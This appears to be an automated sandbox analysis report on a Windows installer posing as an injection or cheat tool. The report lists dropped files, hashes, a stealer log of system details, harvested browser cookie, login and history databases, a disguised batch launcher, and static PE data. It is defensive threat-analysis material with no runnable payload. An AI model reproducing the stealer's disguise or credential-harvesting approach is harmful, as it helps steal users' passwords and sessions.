SSDEEP:	96:xlt8Awt0uLWGFRfNPCgWNHryO7Emmu9j7YyxvzwNpOZ8QZFCS53pGepm8cxDxfKw:xH8Aw3yGFRfNPC9N2iEg9j0Wp+aStCR6
MD5:	B5604ADA56EE1EC14B26653411F21030
SHA1:	023E17A4F4208A25AAD9BA18B44600AC03D8698E
SHA-256:	D99BEFBCB6067ED26A1BC7A4DDF5BE56C44A01FA04066448AEAF716CDB03B110
SHA-512:	0BF81E3E3A1087ED517AFC8FC2A9326FF74CBAD3766A1E5DBD31934F62A7B0DCC1176059556DB176362F36BEE3AFF4F5BBA6EFC75A25E6DFC957A0D373C35823
Malicious:	false
Preview:	Build: YT..Version: 1.8....Date: Fri Mar 29 11:04:55 2024.MachineID: ea860e7a-a87f-4a88-92ef-38f744458171..GUID: {846ee340-7039-11de-9d20-806e6f6e6963}..HWID: 28fbd4b601e7f0e3f0a20ad9cad77b4e....Path: C:\Users\user\AppData\Local\Temp\insta313tg.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobeKAwsiuZMSpFF....IP: 102.165.48.43..Location: US, Washington..ZIP (Autofills): -..Windows: Windows 7 Professional [x64]..Computer Name: 980108 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-US..Keyboard Languages: English (United States)..Local Time: 29/3/2024 11:4:55..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Standard VGA Graphics Adapter..VideoCard #1: RDPDD Chained DD..VideoCard #2: RDP Encoder Mirror Driver..VideoCard #3: RDP Reflector Display Driver....[Processes]..System [4]..smss.exe [228]..csrss.exe [304]..wininit.exe [340]..csrss.exe [356]..services.exe [404]..winlogon

C:\Users\user\AppData\Local\Temp\adobeKAwsiuZMSpFF\passwords.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\adobeKAwsiuZMSpFF\screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1325472
Entropy (8bit):	7.872600243308722
Encrypted:	false
SSDEEP:	24576:QiQ+T9tt1jbxGsSQ556OwhqsekFL5xUmCiXWKs+cFQk9IOwpY5sT9Ra:2+T9tt5E2Cheg/UKWT+nSj08D
MD5:	BCDECC2F155F4ABDC3559354C58DCB09
SHA1:	102F6913387D88CA80112E3110A8467F94FFDBC3
SHA-256:	D1252A8C48CB3091D01BBBB262827CCAB90DAB18EF1DE83FEFFAD2BB33AF4C17
SHA-512:	32E376C276B506C9196D5966E9C50D1179F74204CF73CFA18960A0046EDF66AE448A0389174964150E27CB7064EA756828E72A0A7BC8D8683EC0683E79C84759
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....V....)p.V..T.so..%.Mn.F. ..c...11.Dc.J.+*.zQ...]:..+...K\.Uf..=.}.s8...y..33k......9\|......v-T.~...:.z.....uP.m.......P..h.q}...D....k.m<.KL]..X3..n..&.:~..8....4.h......J=].ch.D..h.%....X.......:9......]o..M.....o_j......7._F......Z..v8.]?l.R.1..2.W..?k...........S.j.:.eL....J.qwl...)o.Y.....k....Sq..!..L..Z.f..'!tO.r..?.......M..@....Q......aN..~.......8....i7...6.~.....0...... .."..g.=....>...hO.z..5...]C.ZC..!.p=.8...6.8.......;\|...}.P:..tOX..^c(...\|....J...B....DY..Z.cN.k.w..[A.Oy.s...>.-..C.d..+......`..v?z.tN.N....O..].V...z....}............^!&q....wa..T...q.H#...U..^G.f}.sy..".;r....h.2..x#....3...C.O-...B9%..r.\|...........b]1...b....o.u.\|M....^..a.~..c..@.........q8V$W....X3..l.v5..i\F}.q....a[...c..O.W."WB}_...c..bKh.....T.....C.Fk....<..y.]^J.<..eL].$....9n...x.....@..{_..:./...%.K.K..z.^lb...bK..E\.q.=....o.u..m.....Lm...

C:\Users\user\AppData\Local\Temp\cr.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (8190), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	8193
Entropy (8bit):	0.008325662656503996
Encrypted:	false
SSDEEP:	3:XAy:Qy
MD5:	3FD78AC884F3B867FD1FAF2EAA0CCF71
SHA1:	7ACC08E8F717AC7C18EBA4B664F93D1CAD7DC335
SHA-256:	97566C4DE0556852DDA6ECA5098EA584D466D382FCEE57E14B4F981203BAE5FD
SHA-512:	BCBC71FFBA452769DC67981CBB93C6795D2BFAF874C2323AA773EF3F01CB34F080B7ADEFAEF123196669D4BE5639CB4C2F05C8484EC1B613A36082D4ED841F70
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\data.dat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3523422
Entropy (8bit):	7.9509226318355894
Encrypted:	false
SSDEEP:	49152:k1hZXwWDbA+br1GP93KxuxRZJTiL7s3kT/wmZ6d3aoS2Bnvyo5/VpBzfIxG13BkI:eh1FniRZosQzMd3aotB6y9pvAuExenh
MD5:	CF515BE4BDA9A66C9FDBEDF7D22CCC59
SHA1:	4F7DB48742C03F7BBE11250551E04A11C11443F3
SHA-256:	F888493186529EAE8908F3326CEC1887E885737720D52176C474F1D48075D06E
SHA-512:	67E79F2B5EB9C8FD7D53D673DA7AC43F7BC51F6EB3130C780ACD1A61AE0CAD78B9A31655E57E64976C6F0F1A63084B30CB412EC732D61CCA349E8C769FFF481E
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......t..0..I0..I0..I.'.I8..I.'.I...I.'.I=..I...I2..I...H"..I...H9..I...H...I9.rI9..I9.vI2..I9.bI7..I0..I/..I...H...I...H1..I...I1..I...H1..IRich0..I................PE..d......e.........."....!.....~.......q.........@.............................p............`............................................4...$...P............0...+...........`..,...@t..T...............................@...................<... ....................text...n........................... ..`.rdata..............................@..@.data....U..........................@....pdata...+...0...,..................@..@.didat..X....`......................@..._RDATA..\....p......................@..@.rsrc...............................@..@.reloc..,....`......................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\data.exe (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3523422
Entropy (8bit):	7.9509226318355894
Encrypted:	false
SSDEEP:	49152:k1hZXwWDbA+br1GP93KxuxRZJTiL7s3kT/wmZ6d3aoS2Bnvyo5/VpBzfIxG13BkI:eh1FniRZosQzMd3aotB6y9pvAuExenh
MD5:	CF515BE4BDA9A66C9FDBEDF7D22CCC59
SHA1:	4F7DB48742C03F7BBE11250551E04A11C11443F3
SHA-256:	F888493186529EAE8908F3326CEC1887E885737720D52176C474F1D48075D06E
SHA-512:	67E79F2B5EB9C8FD7D53D673DA7AC43F7BC51F6EB3130C780ACD1A61AE0CAD78B9A31655E57E64976C6F0F1A63084B30CB412EC732D61CCA349E8C769FFF481E
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......t..0..I0..I0..I.'.I8..I.'.I...I.'.I=..I...I2..I...H"..I...H9..I...H...I9.rI9..I9.vI2..I9.bI7..I0..I/..I...H...I...H1..I...I1..I...H1..IRich0..I................PE..d......e.........."....!.....~.......q.........@.............................p............`............................................4...$...P............0...+...........`..,...@t..T...............................@...................<... ....................text...n........................... ..`.rdata..............................@..@.data....U..........................@....pdata...+...0...,..................@..@.didat..X....`......................@..._RDATA..\....p......................@..@.rsrc...............................@..@.reloc..,....`......................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\02zdBXl47cvzplaces.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, user version 35, last written using SQLite version 3008001, page size 32768, writer version 2, read version 2, file counter 3, database pages 35, cookie 0x1d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	1146880
Entropy (8bit):	0.15644146423012004
Encrypted:	false
SSDEEP:	192:CdEcZ6zssdySB+exixS4fS4QS4NS4ibRqwxeKlZfTOmPp80WOpp:+EccZdD3yJnbkw0KlAo5H
MD5:	E28514A583D6F83F8C67CA62CB891CA7
SHA1:	4107934697F0891B26B16A6E0D9795271353355C
SHA-256:	B41E251C18B2B1CDD79E33F0B3AB12EAD8EF257969E26BFBB06DB7C70E9E0FFC
SHA-512:	BF83CD24FEA896D38F07EA61FA639FCE7CC637AB97C6DFE5A6502772DECC4835160F5F49442266024B6564947B0AFB72901A8B1C848AF00808F0A3E08B740E4E
Malicious:	false
Preview:	SQLite format 3......@ .......#...............................#.................................-...}.."l..~\}.\|.}M{.\|az.y.zdyqx.y8w.xJviu.t.tNs.sxs.r.r.q.p.pwp.o.n.nym.mRl.l.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\3nFmKetjWdaKWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\8ghN89CsjOW1places.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, user version 35, last written using SQLite version 3008001, page size 32768, writer version 2, read version 2, file counter 3, database pages 35, cookie 0x1d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	1146880
Entropy (8bit):	0.15644146423012004
Encrypted:	false
SSDEEP:	192:CdEcZ6zssdySB+exixS4fS4QS4NS4ibRqwxeKlZfTOmPp80WOpp:+EccZdD3yJnbkw0KlAo5H
MD5:	E28514A583D6F83F8C67CA62CB891CA7
SHA1:	4107934697F0891B26B16A6E0D9795271353355C
SHA-256:	B41E251C18B2B1CDD79E33F0B3AB12EAD8EF257969E26BFBB06DB7C70E9E0FFC
SHA-512:	BF83CD24FEA896D38F07EA61FA639FCE7CC637AB97C6DFE5A6502772DECC4835160F5F49442266024B6564947B0AFB72901A8B1C848AF00808F0A3E08B740E4E
Malicious:	false
Preview:	SQLite format 3......@ .......#...............................#.................................-...}.."l..~\}.\|.}M{.\|az.y.zdyqx.y8w.xJviu.t.tNs.sxs.r.r.q.p.pwp.o.n.nym.mRl.l.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\D87fZN3R3jFecookies.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3008001, page size 32768, writer version 2, read version 2, file counter 5, database pages 4, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.07093764277882578
Encrypted:	false
SSDEEP:	12:DgIfgbz+Kh0sFcw23FmdAc/OPVJXfPNn43etRRIYRJxeYaNcDakMGz:DCf1ysFZ232ANVpP9TJKN0MG
MD5:	37F03D0EB1744FFEBCF26E3DB4A4280F
SHA1:	0B120B18B36AD6A64C27D3845A5871D10568C92E
SHA-256:	4D7F53C9B0D3757074542B9EB246FA5242456418394DAD90D23CB0CE8D664040
SHA-512:	49397393F2E9B43A696606EACCAB285165AD7919C1C0D1BC62B42B6C2DD564AA352E49D1172CCEAEF41F6D1D7856523F96D009CE9EA0968017FAE662167CA5A0
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-.......}..~!..}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\HbOyUH8SdLq2Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\UmcirFyQH7e4History

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 13, database pages 30, 1st free page 27, free pages 1, cookie 0x1e, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.4530338001328815
Encrypted:	false
SSDEEP:	3072:oNghQnzpCp7pfYcVlVRVHLNYhtn8pApNVuVvY:oNghQnzpCp7pfYcVlVRVHLNYhtn8pApr
MD5:	9DEFC75D6086CCDBE05ED9EE2159CF84
SHA1:	BCF6B1893581F2420564160F784E47E91946269A
SHA-256:	04F89C6DE1CA272A5019395A923DEAE68D5F47641AD5623606E3D092BAA7245A
SHA-512:	D92A772BF416D7BCF0FF3F940E3ECDC4B2130060E85C1EBBBFDD108F535B28F034E1FAD846812607548B02D7AD4DC2BCD11546822E38A6F60ED2D87EB7F5D686
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\_rbmdeiUdNUKCookies

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 24, database pages 5, cookie 0xf, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3870145383915669
Encrypted:	false
SSDEEP:	48:TBLOpEO5J/Kd7UEvqckQaKgj5EZwx1wayEgd7kKK9LeYyBlIAO/tXK:hNw0CKaKfu1wai6LeYzN/9K
MD5:	1623709C6B2FB813984B1265C26A85F1
SHA1:	CCE4DDBE93E97E68359CB6FD71242F796A785F86
SHA-256:	88BCF762A75F085ECD3B12EB2BA81B81A7F8C9CDDDD4DED624BA28566EB7EEAA
SHA-512:	6D2E23E4E0D1D912AF3426129F7DE490F23326F6179EEC27AFE28C438CA37493AEA775E62755C76D6A8850DB6D6E70F0D0A8D396A35E869F4BF0F761CDD507D8
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-........#..k...#.<....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\cYZcrjtv8i2xWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\d2zdqH_MsIBWLogin Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiKAwsiuZMSpFF\spCIica_1_3GHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\insta313tg.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 13, database pages 30, 1st free page 27, free pages 1, cookie 0x1e, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.4530338001328815
Encrypted:	false
SSDEEP:	3072:oNghQnzpCp7pfYcVlVRVHLNYhtn8pApNVuVvY:oNghQnzpCp7pfYcVlVRVHLNYhtn8pApr
MD5:	9DEFC75D6086CCDBE05ED9EE2159CF84
SHA1:	BCF6B1893581F2420564160F784E47E91946269A
SHA-256:	04F89C6DE1CA272A5019395A923DEAE68D5F47641AD5623606E3D092BAA7245A
SHA-512:	D92A772BF416D7BCF0FF3F940E3ECDC4B2130060E85C1EBBBFDD108F535B28F034E1FAD846812607548B02D7AD4DC2BCD11546822E38A6F60ED2D87EB7F5D686
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\installer.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2596
Entropy (8bit):	4.593798790069509
Encrypted:	false
SSDEEP:	24:KBTjn6UxC0hbVL+pfBgNb5uazHxmVxad6WnoNZ2OLZWQUWQgaIfV4BdjP7pz1PnC:KB36vgVL+pfBeN03EofVUcfgJz1K
MD5:	2097215F5C3A3C993A68039844BD7C7F
SHA1:	680C86DC4F5F8027E98224A38DBD40468819DCDC
SHA-256:	B02B5E9B0D7B54566DF395BDC5FE7EB0780D1B3398EEF00AEE6FDF639BE12CE5
SHA-512:	4392210BBDC88A19C7B1E211430600D173234180505FDFA092CA61CC781603A4A58709B263394A5206F055B1D866E7A65159B90DE06C47B5EAD909E94B6C1972
Malicious:	false
Preview:	@echo off..start /min %~dp01.bat..color 0A..Echo CHEAT ENGINE SCRIPT RUNNER....Echo " ___________ _"..Echo " \/ __/ .::::.-'-(/-/)"..Echo " _/: .::::.-' .-'\/\_`******* __ (_))"..Echo " \/ /: .::::./ -._-. d\\| (_))_(__))"..Echo " /: (""""/ '. (__/\|\| (_))__(_))--(__))"..Echo " \::).-' -._ \/ \\/\\|"..Echo " __ _ .-'`)/ '-'. . '. \| (i_O"..Echo " .-' \ -' '\\|"..Echo " _ _./ .-'\| '. ( \\ % % %"..Echo " .-' : '_ \ '-'\ /\|/ @ @ @ % % % %"..Echo " / )\_ '- )_________.-\|_/^\ @ @ @@@ % %\/% %"..Echo " ( .-' )-._-: / \(/\'-._ `. @\|@@@@@ ..\|........"..Echo " ( ) _//_/\|: / `\() `\_\ \|/_@@ )'-._.-._.-"..Echo " ( ( \(

C:\Users\user\AppData\Local\Temp\pooljocb.keb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\th3hk5wh.0to.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\wjk313b4.ojb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	4.92149009030101
Encrypted:	false
SSDEEP:	6:PzLSLzMRfmWxHLThx2LThx0sW26VY7FwAFeMmvVOIHJFxMVlmJHaVFEG1vv:PKMRJpTeT0sBSAFSkIrxMVlmJHaVzvv
MD5:	2E512EE24AAB186D09E9A1F9B72A0569
SHA1:	C5BA2E0C0338FFEE13ED1FB6DA0CC9C000824B0B
SHA-256:	DB41050CA723A06D95B73FFBE40B32DE941F5EE474F129B2B33E91C67B72674F
SHA-512:	6B4487A088155E34FE5C642E1C3D46F63CB2DDD9E4092809CE6F3BEEFDEF0D1F8AA67F8E733EDE70B07F467ED5BB6F07104EEA4C1E7AC7E1A502A772F56F7DE9
Malicious:	false
Preview:	..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.999630501747654
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	InjectToolInstaller.exe
File size:	57'739'400 bytes
MD5:	86daf2965a3ac93c7119b5eccbeca489
SHA1:	ac7b034df5b8e42dfaa21ee7cf6656664a7dcf02
SHA256:	358bdb901a68378a995c91b5d500c579851b1ced09c28060e03734f8b48c0c80
SHA512:	4ee21bb169bf5e424921622d1dfaeb1f133ae940b159432b360d49fd074981c03813a608b48bb7a02b4374ef126cdb1e616339876fc679f055507c76e63462f0
SSDEEP:	1572864:4c/XkMjob1KMX3qONcfpSJFGildX7gntiAIYvBD7VsRTd9qrq:z0Wob1qObJFGild7OlIYJPV6G
TLSH:	C0C733B56471D23BCD77663C04F5F53B85AC23B12978260FAB8C0B79AF760A82901779
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4..\4..\4..\.F2\?..\.F0\H..\.F1\,..\...] ..\...]...\...]'..\.%.\5..\.%.\?..\4..\...\...]9..\...]w..\..<\5..\4.T\6..\...]5..

File Icon


Icon Hash:	d5b2b271f8ecadd5

Static PE Info

General

Entrypoint:	0x42075f
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x58E570A4 [Wed Apr 5 22:33:08 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	632f939005ccaa4d7643b0a302c14333

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Certum Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/31/2022 3:53:10 PM 10/31/2023 3:53:09 PM
Subject Chain	E=dimitry@freeplane.org, CN="Open Source Developer, Dimitry Polivaev", O=Open Source Developer, L=Munich, C=DE
Version:	3
Thumbprint MD5:	8F254D12333030452B3114F8B9F4208E
Thumbprint SHA-1:	D6BE02881A5F2530791AB03F7A18B1B1D3C9152C
Thumbprint SHA-256:	E2FD5160A7B60D5A17A40C44A2F58D35EE6F854A52321569A1B8F5951294E47E
Serial:	6D59D71C2A65BA86924D4B3787C85555

Entrypoint Preview

Instruction
call 00007F37211F619Ch
jmp 00007F37211F5C01h
jmp dword ptr [0045F340h]
push ebp
mov ebp, esp
mov eax, dword ptr [00470074h]
mov ecx, eax
xor eax, dword ptr [ebp+08h]
and ecx, 1Fh
ror eax, cl
pop ebp
ret
push ebp
mov ebp, esp
mov eax, dword ptr [00470074h]
and eax, 1Fh
push 00000020h
pop ecx
sub ecx, eax
mov eax, dword ptr [ebp+08h]
ror eax, cl
xor eax, dword ptr [00470074h]
pop ebp
ret
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+0Ch]
ror eax, cl
pop ebp
ret
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
